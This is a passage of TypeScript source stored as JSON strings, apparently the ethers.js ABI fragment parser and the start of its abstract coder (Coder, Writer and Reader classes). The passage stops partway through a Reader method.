"\"use strict\";\n\nimport { BigNumber } from \"@ethersproject/bignumber\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nexport interface JsonFragmentType {\n readonly name?: string;\n readonly indexed?: boolean;\n readonly type?: string;\n readonly internalType?: any; // @TODO: in v6 reduce type\n readonly components?: ReadonlyArray;\n}\n\nexport interface JsonFragment {\n readonly name?: string;\n readonly type?: string;\n\n readonly anonymous?: boolean;\n\n readonly payable?: boolean;\n readonly constant?: boolean;\n readonly stateMutability?: string;\n\n readonly inputs?: ReadonlyArray;\n readonly outputs?: ReadonlyArray;\n\n readonly gas?: string;\n};\n\nconst _constructorGuard = { };\n\n// AST Node parser state\ntype ParseState = {\n allowArray?: boolean,\n allowName?: boolean,\n allowParams?: boolean,\n allowType?: boolean,\n readArray?: boolean,\n};\n\n// AST Node\ntype ParseNode = {\n parent?: any,\n type?: string,\n name?: string,\n state?: ParseState,\n indexed?: boolean,\n components?: Array\n};\n\nlet ModifiersBytes: { [ name: string ]: boolean } = { calldata: true, memory: true, storage: true };\nlet ModifiersNest: { [ name: string ]: boolean } = { calldata: true, memory: true };\nfunction checkModifier(type: string, name: string): boolean {\n if (type === \"bytes\" || type === \"string\") {\n if (ModifiersBytes[name]) { return true; }\n } else if (type === \"address\") {\n if (name === \"payable\") { return true; }\n } else if (type.indexOf(\"[\") >= 0 || type === \"tuple\") {\n if (ModifiersNest[name]) { return true; }\n }\n if (ModifiersBytes[name] || name === \"payable\") {\n logger.throwArgumentError(\"invalid modifier\", \"name\", name);\n }\n return false;\n}\n\n// @TODO: Make sure that children of an indexed tuple are marked with a null indexed\nfunction parseParamType(param: string, allowIndexed: boolean): ParseNode {\n\n let originalParam = param;\n function throwError(i: number) {\n logger.throwArgumentError(`unexpected character at position ${ i }`, \"param\", param);\n }\n param = param.replace(/\\s/g, \" \");\n\n function newNode(parent: ParseNode): ParseNode {\n let node: ParseNode = { type: \"\", name: \"\", parent: parent, state: { allowType: true } };\n if (allowIndexed) { node.indexed = false; }\n return node\n }\n\n let parent: ParseNode = { type: \"\", name: \"\", state: { allowType: true } };\n let node = parent;\n\n for (let i = 0; i < param.length; i++) {\n let c = param[i];\n switch (c) {\n case \"(\":\n if (node.state.allowType && node.type === \"\") {\n node.type = \"tuple\";\n } else if (!node.state.allowParams) {\n throwError(i);\n }\n node.state.allowType = false;\n node.type = verifyType(node.type);\n node.components = [ newNode(node) ];\n node = node.components[0];\n break;\n\n case \")\":\n delete node.state;\n\n if (node.name === \"indexed\") {\n if (!allowIndexed) { throwError(i); }\n node.indexed = true;\n node.name = \"\";\n }\n\n if (checkModifier(node.type, node.name)) { node.name = \"\"; }\n\n node.type = verifyType(node.type);\n\n let child = node;\n node = node.parent;\n if (!node) { throwError(i); }\n delete child.parent;\n node.state.allowParams = false;\n node.state.allowName = true;\n node.state.allowArray = true;\n break;\n\n case \",\":\n delete node.state;\n\n if (node.name === \"indexed\") {\n if (!allowIndexed) { throwError(i); }\n node.indexed = true;\n node.name = \"\";\n }\n\n if (checkModifier(node.type, node.name)) { node.name = \"\"; }\n\n node.type = verifyType(node.type);\n\n let sibling: ParseNode = newNode(node.parent);\n //{ type: \"\", name: \"\", parent: node.parent, state: { allowType: true } };\n node.parent.components.push(sibling);\n delete node.parent;\n node = sibling;\n break;\n\n // Hit a space...\n case \" \":\n\n // If reading type, the type is done and may read a param or name\n if (node.state.allowType) {\n if (node.type !== \"\") {\n node.type = verifyType(node.type);\n delete node.state.allowType;\n node.state.allowName = true;\n node.state.allowParams = true;\n }\n }\n\n // If reading name, the name is done\n if (node.state.allowName) {\n if (node.name !== \"\") {\n if (node.name === \"indexed\") {\n if (!allowIndexed) { throwError(i); }\n if (node.indexed) { throwError(i); }\n node.indexed = true;\n node.name = \"\";\n } else if (checkModifier(node.type, node.name)) {\n node.name = \"\";\n } else {\n node.state.allowName = false;\n }\n }\n }\n\n break;\n\n case \"[\":\n if (!node.state.allowArray) { throwError(i); }\n\n node.type += c;\n\n node.state.allowArray = false;\n node.state.allowName = false;\n node.state.readArray = true;\n break;\n\n case \"]\":\n if (!node.state.readArray) { throwError(i); }\n\n node.type += c;\n\n node.state.readArray = false;\n node.state.allowArray = true;\n node.state.allowName = true;\n break;\n\n default:\n if (node.state.allowType) {\n node.type += c;\n node.state.allowParams = true;\n node.state.allowArray = true;\n } else if (node.state.allowName) {\n node.name += c;\n delete node.state.allowArray;\n } else if (node.state.readArray) {\n node.type += c;\n } else {\n throwError(i);\n }\n }\n }\n\n if (node.parent) { logger.throwArgumentError(\"unexpected eof\", \"param\", param); }\n\n delete parent.state;\n\n if (node.name === \"indexed\") {\n if (!allowIndexed) { throwError(originalParam.length - 7); }\n if (node.indexed) { throwError(originalParam.length - 7); }\n node.indexed = true;\n node.name = \"\";\n } else if (checkModifier(node.type, node.name)) {\n node.name = \"\";\n }\n\n parent.type = verifyType(parent.type);\n\n return parent;\n}\n\nfunction populate(object: any, params: any) {\n for (let key in params) { defineReadOnly(object, key, params[key]); }\n}\n\nexport const FormatTypes: { [ name: string ]: string } = Object.freeze({\n // Bare formatting, as is needed for computing a sighash of an event or function\n sighash: \"sighash\",\n\n // Human-Readable with Minimal spacing and without names (compact human-readable)\n minimal: \"minimal\",\n\n // Human-Readable with nice spacing, including all names\n full: \"full\",\n\n // JSON-format a la Solidity\n json: \"json\"\n});\n\nconst paramTypeArray = new RegExp(/^(.*)\\[([0-9]*)\\]$/);\n\nexport class ParamType {\n\n // The local name of the parameter (of null if unbound)\n readonly name: string;\n\n // The fully qualified type (e.g. \"address\", \"tuple(address)\", \"uint256[3][]\"\n readonly type: string;\n\n // The base type (e.g. \"address\", \"tuple\", \"array\")\n readonly baseType: string;\n\n // Indexable Paramters ONLY (otherwise null)\n readonly indexed: boolean;\n\n // Tuples ONLY: (otherwise null)\n // - sub-components\n readonly components: Array;\n\n // Arrays ONLY: (otherwise null)\n // - length of the array (-1 for dynamic length)\n // - child type\n readonly arrayLength: number;\n readonly arrayChildren: ParamType;\n\n readonly _isParamType: boolean;\n\n constructor(constructorGuard: any, params: any) {\n if (constructorGuard !== _constructorGuard) { logger.throwError(\"use fromString\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"new ParamType()\"\n }); }\n populate(this, params);\n\n let match = this.type.match(paramTypeArray);\n if (match) {\n populate(this, {\n arrayLength: parseInt(match[2] || \"-1\"),\n arrayChildren: ParamType.fromObject({\n type: match[1],\n components: this.components\n }),\n baseType: \"array\"\n });\n } else {\n populate(this, {\n arrayLength: null,\n arrayChildren: null,\n baseType: ((this.components != null) ? \"tuple\": this.type)\n });\n }\n\n this._isParamType = true;\n\n Object.freeze(this);\n }\n\n // Format the parameter fragment\n // - sighash: \"(uint256,address)\"\n // - minimal: \"tuple(uint256,address) indexed\"\n // - full: \"tuple(uint256 foo, address bar) indexed baz\"\n format(format?: string): string {\n if (!format) { format = FormatTypes.sighash; }\n if (!FormatTypes[format]) {\n logger.throwArgumentError(\"invalid format type\", \"format\", format);\n }\n\n if (format === FormatTypes.json) {\n let result: any = {\n type: ((this.baseType === \"tuple\") ? \"tuple\": this.type),\n name: (this.name || undefined)\n };\n if (typeof(this.indexed) === \"boolean\") { result.indexed = this.indexed; }\n if (this.components) {\n result.components = this.components.map((comp) => JSON.parse(comp.format(format)));\n }\n return JSON.stringify(result);\n }\n\n let result = \"\";\n\n // Array\n if (this.baseType === \"array\") {\n result += this.arrayChildren.format(format);\n result += \"[\" + (this.arrayLength < 0 ? \"\": String(this.arrayLength)) + \"]\";\n } else {\n if (this.baseType === \"tuple\") {\n if (format !== FormatTypes.sighash) {\n result += this.type;\n }\n result += \"(\" + this.components.map(\n (comp) => comp.format(format)\n ).join((format === FormatTypes.full) ? \", \": \",\") + \")\";\n } else {\n result += this.type;\n }\n }\n\n if (format !== FormatTypes.sighash) {\n if (this.indexed === true) { result += \" indexed\"; }\n if (format === FormatTypes.full && this.name) {\n result += \" \" + this.name;\n }\n }\n\n return result;\n }\n\n static from(value: string | JsonFragmentType | ParamType, allowIndexed?: boolean): ParamType {\n if (typeof(value) === \"string\") {\n return ParamType.fromString(value, allowIndexed);\n }\n return ParamType.fromObject(value);\n }\n\n static fromObject(value: JsonFragmentType | ParamType): ParamType {\n if (ParamType.isParamType(value)) { return value; }\n\n return new ParamType(_constructorGuard, {\n name: (value.name || null),\n type: verifyType(value.type),\n indexed: ((value.indexed == null) ? null: !!value.indexed),\n components: (value.components ? value.components.map(ParamType.fromObject): null)\n });\n }\n\n static fromString(value: string, allowIndexed?: boolean): ParamType {\n function ParamTypify(node: ParseNode): ParamType {\n return ParamType.fromObject({\n name: node.name,\n type: node.type,\n indexed: node.indexed,\n components: node.components\n });\n }\n\n return ParamTypify(parseParamType(value, !!allowIndexed));\n }\n\n static isParamType(value: any): value is ParamType {\n return !!(value != null && value._isParamType);\n }\n};\n\nfunction parseParams(value: string, allowIndex: boolean): Array {\n return splitNesting(value).map((param) => ParamType.fromString(param, allowIndex));\n}\n\ntype TypeCheck = { -readonly [ K in keyof T ]: T[K] };\n\ninterface _Fragment {\n readonly type: string;\n readonly name: string;\n readonly inputs: ReadonlyArray;\n}\n\nexport abstract class Fragment {\n\n readonly type: string;\n readonly name: string;\n readonly inputs: Array;\n\n readonly _isFragment: boolean;\n\n constructor(constructorGuard: any, params: any) {\n if (constructorGuard !== _constructorGuard) {\n logger.throwError(\"use a static from method\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"new Fragment()\"\n });\n }\n populate(this, params);\n\n this._isFragment = true;\n\n Object.freeze(this);\n }\n\n abstract format(format?: string): string;\n\n static from(value: Fragment | JsonFragment | string): Fragment {\n if (Fragment.isFragment(value)) { return value; }\n\n if (typeof(value) === \"string\") {\n return Fragment.fromString(value);\n }\n\n return Fragment.fromObject(value);\n }\n\n static fromObject(value: Fragment | JsonFragment): Fragment {\n if (Fragment.isFragment(value)) { return value; }\n\n switch (value.type) {\n case \"function\":\n return FunctionFragment.fromObject(value);\n case \"event\":\n return EventFragment.fromObject(value);\n case \"constructor\":\n return ConstructorFragment.fromObject(value);\n case \"error\":\n return ErrorFragment.fromObject(value);\n case \"fallback\":\n case \"receive\":\n // @TODO: Something? Maybe return a FunctionFragment? A custom DefaultFunctionFragment?\n return null;\n }\n\n return logger.throwArgumentError(\"invalid fragment object\", \"value\", value);\n }\n\n static fromString(value: string): Fragment {\n // Make sure the \"returns\" is surrounded by a space and all whitespace is exactly one space\n value = value.replace(/\\s/g, \" \");\n value = value.replace(/\\(/g, \" (\").replace(/\\)/g, \") \").replace(/\\s+/g, \" \");\n value = value.trim();\n\n if (value.split(\" \")[0] === \"event\") {\n return EventFragment.fromString(value.substring(5).trim());\n } else if (value.split(\" \")[0] === \"function\") {\n return FunctionFragment.fromString(value.substring(8).trim());\n } else if (value.split(\"(\")[0].trim() === \"constructor\") {\n return ConstructorFragment.fromString(value.trim());\n } else if (value.split(\" \")[0] === \"error\") {\n return ErrorFragment.fromString(value.substring(5).trim());\n }\n\n return logger.throwArgumentError(\"unsupported fragment\", \"value\", value);\n }\n\n static isFragment(value: any): value is Fragment {\n return !!(value && value._isFragment);\n }\n}\n\ninterface _EventFragment extends _Fragment {\n readonly anonymous: boolean;\n}\n\nexport class EventFragment extends Fragment {\n readonly anonymous: boolean;\n\n format(format?: string): string {\n if (!format) { format = FormatTypes.sighash; }\n if (!FormatTypes[format]) {\n logger.throwArgumentError(\"invalid format type\", \"format\", format);\n }\n\n if (format === FormatTypes.json) {\n return JSON.stringify({\n type: \"event\",\n anonymous: this.anonymous,\n name: this.name,\n inputs: this.inputs.map((input) => JSON.parse(input.format(format)))\n });\n }\n\n let result = \"\";\n\n if (format !== FormatTypes.sighash) {\n result += \"event \";\n }\n\n result += this.name + \"(\" + this.inputs.map(\n (input) => input.format(format)\n ).join((format === FormatTypes.full) ? \", \": \",\") + \") \";\n\n if (format !== FormatTypes.sighash) {\n if (this.anonymous) {\n result += \"anonymous \";\n }\n }\n\n return result.trim();\n }\n\n static from(value: EventFragment | JsonFragment | string): EventFragment {\n if (typeof(value) === \"string\") {\n return EventFragment.fromString(value);\n }\n return EventFragment.fromObject(value);\n }\n\n static fromObject(value: JsonFragment | EventFragment): EventFragment {\n if (EventFragment.isEventFragment(value)) { return value; }\n\n if (value.type !== \"event\") {\n logger.throwArgumentError(\"invalid event object\", \"value\", value);\n }\n\n const params: TypeCheck<_EventFragment> = {\n name: verifyIdentifier(value.name),\n anonymous: value.anonymous,\n inputs: (value.inputs ? value.inputs.map(ParamType.fromObject) : []),\n type: \"event\"\n };\n\n return new EventFragment(_constructorGuard, params);\n }\n\n static fromString(value: string): EventFragment {\n\n let match = value.match(regexParen);\n if (!match) {\n logger.throwArgumentError(\"invalid event string\", \"value\", value);\n }\n\n let anonymous = false;\n match[3].split(\" \").forEach((modifier) => {\n switch(modifier.trim()) {\n case \"anonymous\":\n anonymous = true;\n break;\n case \"\":\n break;\n default:\n logger.warn(\"unknown modifier: \" + modifier);\n }\n });\n\n return EventFragment.fromObject({\n name: match[1].trim(),\n anonymous: anonymous,\n inputs: parseParams(match[2], true),\n type: \"event\"\n });\n }\n\n static isEventFragment(value: any): value is EventFragment {\n return (value && value._isFragment && value.type === \"event\");\n }\n}\n\nfunction parseGas(value: string, params: any): string {\n params.gas = null;\n\n let comps = value.split(\"@\");\n if (comps.length !== 1) {\n if (comps.length > 2) {\n logger.throwArgumentError(\"invalid human-readable ABI signature\", \"value\", value);\n }\n if (!comps[1].match(/^[0-9]+$/)) {\n logger.throwArgumentError(\"invalid human-readable ABI signature gas\", \"value\", value);\n }\n params.gas = BigNumber.from(comps[1]);\n return comps[0];\n }\n\n return value;\n}\n\nfunction parseModifiers(value: string, params: any): void {\n params.constant = false;\n params.payable = false;\n params.stateMutability = \"nonpayable\";\n\n value.split(\" \").forEach((modifier) => {\n switch (modifier.trim()) {\n case \"constant\":\n params.constant = true;\n break;\n case \"payable\":\n params.payable = true;\n params.stateMutability = \"payable\";\n break;\n case \"nonpayable\":\n params.payable = false;\n params.stateMutability = \"nonpayable\";\n break;\n case \"pure\":\n params.constant = true;\n params.stateMutability = \"pure\";\n break;\n case \"view\":\n params.constant = true;\n params.stateMutability = \"view\";\n break;\n case \"external\":\n case \"public\":\n case \"\":\n break;\n default:\n console.log(\"unknown modifier: \" + modifier);\n }\n });\n}\n\ntype StateInputValue = {\n constant?: boolean;\n payable?: boolean;\n stateMutability?: string;\n type?: string;\n};\n\ntype StateOutputValue = {\n constant: boolean;\n payable: boolean;\n stateMutability: string;\n};\n\nfunction verifyState(value: StateInputValue): StateOutputValue {\n let result: any = {\n constant: false,\n payable: true,\n stateMutability: \"payable\"\n };\n\n if (value.stateMutability != null) {\n result.stateMutability = value.stateMutability;\n\n // Set (and check things are consistent) the constant property\n result.constant = (result.stateMutability === \"view\" || result.stateMutability === \"pure\");\n if (value.constant != null) {\n if ((!!value.constant) !== result.constant) {\n logger.throwArgumentError(\"cannot have constant function with mutability \" + result.stateMutability, \"value\", value);\n }\n }\n\n // Set (and check things are consistent) the payable property\n result.payable = (result.stateMutability === \"payable\");\n if (value.payable != null) {\n if ((!!value.payable) !== result.payable) {\n logger.throwArgumentError(\"cannot have payable function with mutability \" + result.stateMutability, \"value\", value);\n }\n }\n\n } else if (value.payable != null) {\n result.payable = !!value.payable;\n\n // If payable we can assume non-constant; otherwise we can't assume\n if (value.constant == null && !result.payable && value.type !== \"constructor\") {\n logger.throwArgumentError(\"unable to determine stateMutability\", \"value\", value);\n }\n\n result.constant = !!value.constant;\n\n if (result.constant) {\n result.stateMutability = \"view\";\n } else {\n result.stateMutability = (result.payable ? \"payable\": \"nonpayable\");\n }\n\n if (result.payable && result.constant) {\n logger.throwArgumentError(\"cannot have constant payable function\", \"value\", value);\n }\n\n } else if (value.constant != null) {\n result.constant = !!value.constant;\n result.payable = !result.constant;\n result.stateMutability = (result.constant ? \"view\": \"payable\");\n\n } else if (value.type !== \"constructor\") {\n logger.throwArgumentError(\"unable to determine stateMutability\", \"value\", value);\n }\n\n return result;\n}\n\ninterface _ConstructorFragment extends _Fragment {\n stateMutability: string;\n payable: boolean;\n gas?: BigNumber;\n}\n\nexport class ConstructorFragment extends Fragment {\n stateMutability: string;\n payable: boolean;\n gas?: BigNumber;\n\n format(format?: string): string {\n if (!format) { format = FormatTypes.sighash; }\n if (!FormatTypes[format]) {\n logger.throwArgumentError(\"invalid format type\", \"format\", format);\n }\n\n if (format === FormatTypes.json) {\n return JSON.stringify({\n type: \"constructor\",\n stateMutability: ((this.stateMutability !== \"nonpayable\") ? this.stateMutability: undefined),\n payable: this.payable,\n gas: (this.gas ? this.gas.toNumber(): undefined),\n inputs: this.inputs.map((input) => JSON.parse(input.format(format)))\n });\n }\n\n if (format === FormatTypes.sighash) {\n logger.throwError(\"cannot format a constructor for sighash\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"format(sighash)\"\n });\n }\n\n let result = \"constructor(\" + this.inputs.map(\n (input) => input.format(format)\n ).join((format === FormatTypes.full) ? \", \": \",\") + \") \";\n\n if (this.stateMutability && this.stateMutability !== \"nonpayable\") {\n result += this.stateMutability + \" \";\n }\n\n return result.trim();\n }\n\n static from(value: ConstructorFragment | JsonFragment | string): ConstructorFragment {\n if (typeof(value) === \"string\") {\n return ConstructorFragment.fromString(value);\n }\n return ConstructorFragment.fromObject(value);\n }\n\n static fromObject(value: ConstructorFragment | JsonFragment): ConstructorFragment {\n if (ConstructorFragment.isConstructorFragment(value)) { return value; }\n\n if (value.type !== \"constructor\") {\n logger.throwArgumentError(\"invalid constructor object\", \"value\", value);\n }\n\n let state = verifyState(value);\n if (state.constant) {\n logger.throwArgumentError(\"constructor cannot be constant\", \"value\", value);\n }\n\n const params: TypeCheck<_ConstructorFragment> = {\n name: null,\n type: value.type,\n inputs: (value.inputs ? value.inputs.map(ParamType.fromObject): []),\n payable: state.payable,\n stateMutability: state.stateMutability,\n gas: (value.gas ? BigNumber.from(value.gas): null)\n };\n\n return new ConstructorFragment(_constructorGuard, params);\n }\n\n static fromString(value: string): ConstructorFragment {\n let params: any = { type: \"constructor\" };\n\n value = parseGas(value, params);\n\n let parens = value.match(regexParen);\n if (!parens || parens[1].trim() !== \"constructor\") {\n logger.throwArgumentError(\"invalid constructor string\", \"value\", value);\n }\n\n params.inputs = parseParams(parens[2].trim(), false);\n\n parseModifiers(parens[3].trim(), params);\n\n return ConstructorFragment.fromObject(params);\n }\n\n static isConstructorFragment(value: any): value is ConstructorFragment {\n return (value && value._isFragment && value.type === \"constructor\");\n }\n}\n\ninterface _FunctionFragment extends _ConstructorFragment {\n constant: boolean;\n outputs?: Array;\n}\n\nexport class FunctionFragment extends ConstructorFragment {\n constant: boolean;\n outputs?: Array;\n\n format(format?: string): string {\n if (!format) { format = FormatTypes.sighash; }\n if (!FormatTypes[format]) {\n logger.throwArgumentError(\"invalid format type\", \"format\", format);\n }\n\n if (format === FormatTypes.json) {\n return JSON.stringify({\n type: \"function\",\n name: this.name,\n constant: this.constant,\n stateMutability: ((this.stateMutability !== \"nonpayable\") ? this.stateMutability: undefined),\n payable: this.payable,\n gas: (this.gas ? this.gas.toNumber(): undefined),\n inputs: this.inputs.map((input) => JSON.parse(input.format(format))),\n outputs: this.outputs.map((output) => JSON.parse(output.format(format))),\n });\n }\n\n let result = \"\";\n\n if (format !== FormatTypes.sighash) {\n result += \"function \";\n }\n\n result += this.name + \"(\" + this.inputs.map(\n (input) => input.format(format)\n ).join((format === FormatTypes.full) ? \", \": \",\") + \") \";\n\n if (format !== FormatTypes.sighash) {\n if (this.stateMutability) {\n if (this.stateMutability !== \"nonpayable\") {\n result += (this.stateMutability + \" \");\n }\n } else if (this.constant) {\n result += \"view \";\n }\n\n if (this.outputs && this.outputs.length) {\n result += \"returns (\" + this.outputs.map(\n (output) => output.format(format)\n ).join(\", \") + \") \";\n }\n\n if (this.gas != null) {\n result += \"@\" + this.gas.toString() + \" \";\n }\n }\n\n return result.trim();\n }\n\n static from(value: FunctionFragment | JsonFragment | string): FunctionFragment {\n if (typeof(value) === \"string\") {\n return FunctionFragment.fromString(value);\n }\n return FunctionFragment.fromObject(value);\n }\n\n static fromObject(value: FunctionFragment | JsonFragment): FunctionFragment {\n if (FunctionFragment.isFunctionFragment(value)) { return value; }\n\n if (value.type !== \"function\") {\n logger.throwArgumentError(\"invalid function object\", \"value\", value);\n }\n\n let state = verifyState(value);\n\n const params: TypeCheck<_FunctionFragment> = {\n type: value.type,\n name: verifyIdentifier(value.name),\n constant: state.constant,\n inputs: (value.inputs ? value.inputs.map(ParamType.fromObject): []),\n outputs: (value.outputs ? value.outputs.map(ParamType.fromObject): [ ]),\n payable: state.payable,\n stateMutability: state.stateMutability,\n gas: (value.gas ? BigNumber.from(value.gas): null)\n };\n\n return new FunctionFragment(_constructorGuard, params);\n }\n\n static fromString(value: string): FunctionFragment {\n let params: any = { type: \"function\" };\n value = parseGas(value, params);\n\n let comps = value.split(\" returns \");\n if (comps.length > 2) {\n logger.throwArgumentError(\"invalid function string\", \"value\", value);\n }\n\n let parens = comps[0].match(regexParen);\n if (!parens) {\n logger.throwArgumentError(\"invalid function signature\", \"value\", value);\n }\n\n params.name = parens[1].trim();\n if (params.name) { verifyIdentifier(params.name); }\n\n params.inputs = parseParams(parens[2], false);\n\n parseModifiers(parens[3].trim(), params);\n\n // We have outputs\n if (comps.length > 1) {\n let returns = comps[1].match(regexParen);\n if (returns[1].trim() != \"\" || returns[3].trim() != \"\") {\n logger.throwArgumentError(\"unexpected tokens\", \"value\", value);\n }\n params.outputs = parseParams(returns[2], false);\n } else {\n params.outputs = [ ];\n }\n\n return FunctionFragment.fromObject(params);\n }\n\n static isFunctionFragment(value: any): value is FunctionFragment {\n return (value && value._isFragment && value.type === \"function\");\n }\n}\n\n//export class StructFragment extends Fragment {\n//}\n\nfunction checkForbidden(fragment: ErrorFragment): ErrorFragment {\n const sig = fragment.format();\n if (sig === \"Error(string)\" || sig === \"Panic(uint256)\") {\n logger.throwArgumentError(`cannot specify user defined ${ sig } error`, \"fragment\", fragment);\n }\n return fragment;\n}\n\nexport class ErrorFragment extends Fragment {\n\n format(format?: string): string {\n if (!format) { format = FormatTypes.sighash; }\n if (!FormatTypes[format]) {\n logger.throwArgumentError(\"invalid format type\", \"format\", format);\n }\n\n if (format === FormatTypes.json) {\n return JSON.stringify({\n type: \"error\",\n name: this.name,\n inputs: this.inputs.map((input) => JSON.parse(input.format(format))),\n });\n }\n\n let result = \"\";\n\n if (format !== FormatTypes.sighash) {\n result += \"error \";\n }\n\n result += this.name + \"(\" + this.inputs.map(\n (input) => input.format(format)\n ).join((format === FormatTypes.full) ? \", \": \",\") + \") \";\n\n return result.trim();\n }\n\n static from(value: ErrorFragment | JsonFragment | string): ErrorFragment {\n if (typeof(value) === \"string\") {\n return ErrorFragment.fromString(value);\n }\n return ErrorFragment.fromObject(value);\n }\n\n static fromObject(value: ErrorFragment | JsonFragment): ErrorFragment {\n if (ErrorFragment.isErrorFragment(value)) { return value; }\n\n if (value.type !== \"error\") {\n logger.throwArgumentError(\"invalid error object\", \"value\", value);\n }\n\n const params: TypeCheck<_Fragment> = {\n type: value.type,\n name: verifyIdentifier(value.name),\n inputs: (value.inputs ? value.inputs.map(ParamType.fromObject): [])\n };\n\n return checkForbidden(new ErrorFragment(_constructorGuard, params));\n }\n\n static fromString(value: string): ErrorFragment {\n let params: any = { type: \"error\" };\n\n let parens = value.match(regexParen);\n if (!parens) {\n logger.throwArgumentError(\"invalid error signature\", \"value\", value);\n }\n\n params.name = parens[1].trim();\n if (params.name) { verifyIdentifier(params.name); }\n\n params.inputs = parseParams(parens[2], false);\n\n return checkForbidden(ErrorFragment.fromObject(params));\n }\n\n static isErrorFragment(value: any): value is ErrorFragment {\n return (value && value._isFragment && value.type === \"error\");\n }\n}\n\nfunction verifyType(type: string): string {\n\n // These need to be transformed to their full description\n if (type.match(/^uint($|[^1-9])/)) {\n type = \"uint256\" + type.substring(4);\n } else if (type.match(/^int($|[^1-9])/)) {\n type = \"int256\" + type.substring(3);\n }\n\n // @TODO: more verification\n\n return type;\n}\n\n// See: https://github.com/ethereum/solidity/blob/1f8f1a3db93a548d0555e3e14cfc55a10e25b60e/docs/grammar/SolidityLexer.g4#L234\nconst regexIdentifier = new RegExp(\"^[a-zA-Z$_][a-zA-Z0-9$_]*$\");\nfunction verifyIdentifier(value: string): string {\n if (!value || !value.match(regexIdentifier)) {\n logger.throwArgumentError(`invalid identifier \"${ value }\"`, \"value\", value);\n }\n return value;\n}\n\nconst regexParen = new RegExp(\"^([^)(]*)\\\\((.*)\\\\)([^)(]*)$\");\n\nfunction splitNesting(value: string): Array {\n value = value.trim();\n\n let result = [];\n let accum = \"\";\n let depth = 0;\n for (let offset = 0; offset < value.length; offset++) {\n let c = value[offset];\n if (c === \",\" && depth === 0) {\n result.push(accum);\n accum = \"\";\n } else {\n accum += c;\n if (c === \"(\") {\n depth++;\n } else if (c === \")\") {\n depth--;\n if (depth === -1) {\n logger.throwArgumentError(\"unbalanced parenthesis\", \"value\", value);\n }\n }\n }\n }\n if (accum) { result.push(accum); }\n\n return result;\n}\n\n", "\"use strict\";\n\nimport { arrayify, BytesLike, concat, hexConcat, hexlify } from \"@ethersproject/bytes\";\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"../_version\";\nconst logger = new Logger(version);\n\nexport interface Result extends ReadonlyArray {\n readonly [key: string]: any;\n}\n\nexport function checkResultErrors(result: Result): Array<{ path: Array, error: Error }> {\n // Find the first error (if any)\n const errors: Array<{ path: Array, error: Error }> = [ ];\n\n const checkErrors = function(path: Array, object: any): void {\n if (!Array.isArray(object)) { return; }\n for (let key in object) {\n const childPath = path.slice();\n childPath.push(key);\n\n try {\n checkErrors(childPath, object[key]);\n } catch (error) {\n errors.push({ path: childPath, error: error });\n }\n }\n }\n checkErrors([ ], result);\n\n return errors;\n\n}\n\nexport type CoerceFunc = (type: string, value: any) => any;\n\nexport abstract class Coder {\n\n // The coder name:\n // - address, uint256, tuple, array, etc.\n readonly name: string;\n\n // The fully expanded type, including composite types:\n // - address, uint256, tuple(address,bytes), uint256[3][4][], etc.\n readonly type: string;\n\n // The localName bound in the signature, in this example it is \"baz\":\n // - tuple(address foo, uint bar) baz\n readonly localName: string;\n\n // Whether this type is dynamic:\n // - Dynamic: bytes, string, address[], tuple(boolean[]), etc.\n // - Not Dynamic: address, uint256, boolean[3], tuple(address, uint8)\n readonly dynamic: boolean;\n\n constructor(name: string, type: string, localName: string, dynamic: boolean) {\n // @TODO: defineReadOnly these\n this.name = name;\n this.type = type;\n this.localName = localName;\n this.dynamic = dynamic;\n }\n\n _throwError(message: string, value: any): void {\n logger.throwArgumentError(message, this.localName, value);\n }\n\n abstract encode(writer: Writer, value: any): number;\n abstract decode(reader: Reader): any;\n\n abstract defaultValue(): any;\n}\n\nexport class Writer {\n readonly wordSize: number;\n\n _data: Array;\n _dataLength: number;\n _padding: Uint8Array;\n\n constructor(wordSize?: number) {\n defineReadOnly(this, \"wordSize\", wordSize || 32);\n this._data = [ ];\n this._dataLength = 0;\n this._padding = new Uint8Array(wordSize);\n }\n\n get data(): string {\n return hexConcat(this._data);\n }\n get length(): number { return this._dataLength; }\n\n _writeData(data: Uint8Array): number {\n this._data.push(data);\n this._dataLength += data.length;\n return data.length;\n }\n\n appendWriter(writer: Writer): number {\n return this._writeData(concat(writer._data));\n }\n\n // Arrayish items; padded on the right to wordSize\n writeBytes(value: BytesLike): number {\n let bytes = arrayify(value);\n const paddingOffset = bytes.length % this.wordSize;\n if (paddingOffset) {\n bytes = concat([ bytes, this._padding.slice(paddingOffset) ])\n }\n return this._writeData(bytes);\n }\n\n _getValue(value: BigNumberish): Uint8Array {\n let bytes = arrayify(BigNumber.from(value));\n if (bytes.length > this.wordSize) {\n logger.throwError(\"value out-of-bounds\", Logger.errors.BUFFER_OVERRUN, {\n length: this.wordSize,\n offset: bytes.length\n });\n }\n if (bytes.length % this.wordSize) {\n bytes = concat([ this._padding.slice(bytes.length % this.wordSize), bytes ]);\n }\n return bytes;\n }\n\n // BigNumberish items; padded on the left to wordSize\n writeValue(value: BigNumberish): number {\n return this._writeData(this._getValue(value));\n }\n\n writeUpdatableValue(): (value: BigNumberish) => void {\n const offset = this._data.length;\n this._data.push(this._padding);\n this._dataLength += this.wordSize;\n return (value: BigNumberish) => {\n this._data[offset] = this._getValue(value);\n };\n }\n}\n\nexport class Reader {\n readonly wordSize: number;\n readonly allowLoose: boolean;\n\n readonly _data: Uint8Array;\n readonly _coerceFunc: CoerceFunc;\n\n _offset: number;\n\n constructor(data: BytesLike, wordSize?: number, coerceFunc?: CoerceFunc, allowLoose?: boolean) {\n defineReadOnly(this, \"_data\", arrayify(data));\n defineReadOnly(this, \"wordSize\", wordSize || 32);\n defineReadOnly(this, \"_coerceFunc\", coerceFunc);\n defineReadOnly(this, \"allowLoose\", allowLoose);\n\n this._offset = 0;\n }\n\n get data(): string { return hexlify(this._data); }\n get consumed(): number { return this._offset; }\n\n // The default Coerce function\n static coerce(name: string, value: any): any {\n let match = name.match(\"^u?int([0-9]+)$\");\n if (match && parseInt(match[1]) <= 48) { value = value.toNumber(); }\n return value;\n }\n\n coerce(name: string, value: any): any {\n if (this._coerceFunc) { return this._coerceFunc(name, value); }\n return Reader.coerce(name, value);\n }\n\n _peekBytes(offset: number, length: number, loose?: boolean): 